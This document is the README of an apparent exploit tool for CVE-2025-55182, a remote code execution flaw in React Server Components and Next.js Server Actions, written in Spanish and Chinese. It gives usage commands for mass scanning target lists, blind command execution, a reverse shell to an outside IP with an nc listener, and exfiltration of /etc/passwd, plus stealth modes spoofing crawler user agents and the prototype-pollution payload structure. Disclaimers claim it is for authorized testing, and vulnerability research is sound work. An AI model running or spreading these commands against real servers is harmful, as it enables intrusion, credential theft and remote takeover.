
CVE-2025-55182 Herramienta de Exploit de Ejecución Remota de Código en React Server Components
CVE-2025-55182 es una vulnerabilidad crítica de ejecución remota de código (RCE) en React Server Components (RSC) que afecta a las aplicaciones Next.js que utilizan App Router con Server Actions.
La vulnerabilidad reside en el proceso de deserialización del protocolo Flight, lo que permite a los atacantes lograr la ejecución arbitraria de código mediante la contaminación de prototipos (prototype pollution).
SOLO PARA PRUEBAS DE SEGURIDAD AUTORIZADAS
Esta herramienta se proporciona únicamente con fines educativos y de pruebas de penetración autorizadas. El acceso no autorizado a sistemas informáticos es ilegal. Cualquier uso ilegal o no autorizado de esta herramienta es responsabilidad exclusiva del usuario. El autor no asume responsabilidad alguna.
本工具仅供授权安全测试和教育目的使用。如有任何违规、非法操作,一切后果由使用者自行承担,与本人无关。
Lea el DISCLAIMER.md completo antes de utilizar esta herramienta.
Al utilizar esta herramienta, usted acepta que:
| Componente | Versiones afectadas |
|---|---|
react-server-dom-webpack | 19.0.0 - 19.2.0 |
| Next.js | 15.x, 16.x (App Router + Server Actions) |
# Clone the repository
git clone https://github.com/Spritualkb/CVE-2025-55182-exp.git
cd CVE-2025-55182-exp
# Install dependencies
pip install requests
pip install requests[socks] # For SOCKS5 proxy support
python3 exploit.py http://target:3000 --check
# Basic batch scan
python3 exploit.py -f targets.txt --check
# With stealth mode and delay
python3 exploit.py -f targets.txt --check --stealth crawler --delay 2
# Save vulnerable targets to file
python3 exploit.py -f targets.txt --check -o vulnerable.txt
python3 exploit.py http://target:3000 -c "id"
# Start listener first
nc -lvnp 4444
# Execute reverse shell
python3 exploit.py http://target:3000 --revshell 10.0.0.1 4444
# Start listener
nc -lvnp 4444
# Execute and exfiltrate output
python3 exploit.py http://target:3000 --exfil "cat /etc/passwd" 10.0.0.1 4444
python3 exploit.py http://target:3000 --check --proxy socks5://127.0.0.1:1080
| Modo | Descripción |
|---|---|
browser | Simula solicitudes reales de navegador (predeterminado) |
crawler | Simula rastreadores de motores de búsqueda (Googlebot, Baiduspider, etc.) |
security | Utiliza User-Agents de escáneres de seguridad |
| Opción | Descripción |
|---|---|
target | URL del objetivo (p. ej., http://localhost:3000) |
-f, --file | Archivo que contiene las URL de los objetivos (una por línea) |
-o, --output | Archivo de salida para los objetivos vulnerables |
-c, --command | Comando a ejecutar (a ciegas) |
--check | Comprobar si hay vulnerabilidad |
--proxy | Proxy SOCKS5 (p. ej., socks5://127.0.0.1:1080) |
--stealth | Modo sigiloso: browser, crawler, security |
--delay | Retardo entre solicitudes en segundos |
--variants | Usar múltiples variantes de payload para una comprobación exhaustiva |
--revshell IP PORT | Reverse shell hacia IP:PUERTO |
--exfil CMD IP PORT | Ejecutar CMD y enviar la salida mediante POST a IP:PUERTO |
-t, --timeout | Tiempo de espera de la solicitud en segundos (predeterminado: 15) |
El exploit aprovecha la contaminación de prototipos (prototype pollution) en la deserialización del protocolo Flight:
Object.prototype.then mediante "$1:__proto__:then"_formData.get en el constructor Function mediante "$1:constructor:constructor"_prefix, que se pasa a Function(){
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "<malicious_code>",
"_chunks": "$Q2",
"_formData": {"get": "$1:constructor:constructor"}
}
}
CVE-2025-55182-exp/
├── exploit.py # Main exploit script
├── targets.txt # Target URLs list (one per line)
└── README.md # This file
# Comments start with #
http://target1.com:3000
https://target2.com
target3.com:3000
react-server-dom-webpack y Next.jsEste proyecto está bajo la Licencia MIT; consulte el archivo LICENSE para más detalles.
Al descargar, copiar, instalar o utilizar este software, usted acepta quedar sujeto a los términos de este descargo de responsabilidad.
Esta herramienta está diseñada exclusivamente para:
NO DEBERÁ utilizar esta herramienta para:
ESTE SOFTWARE SE PROPORCIONA «TAL CUAL», SIN GARANTÍA DE NINGÚN TIPO, EXPRESA O IMPLÍCITA. EL/LOS AUTOR(ES) RENUNCIAN A TODAS LAS GARANTÍAS, INCLUYENDO, ENTRE OTRAS:
EN NINGÚN CASO EL/LOS AUTOR(ES) SERÁN RESPONSABLES DE:
El usuario asume toda la responsabilidad por:
Al utilizar esta herramienta, usted reconoce que:
下载、复制、安装或使用本软件即表示您同意受本免责声明条款的约束。
本工具仅用于:
您不得将本工具用于:
本软件按"原样"提供,不提供任何明示或暗示的担保。作者否认所有担保,包括但不限于:
在任何情况下,作者均不对以下情况承担责任:
用户对以下事项承担全部责任:
使用本工具即表示您确认:
在进行任何安全测试之前,您必须:
Antes de realizar cualquier prueba de seguridad, debe:
⚠️ 未经授权的计算机访问是违法行为 ⚠️
⚠️ El acceso no autorizado a sistemas informáticos es un delito ⚠️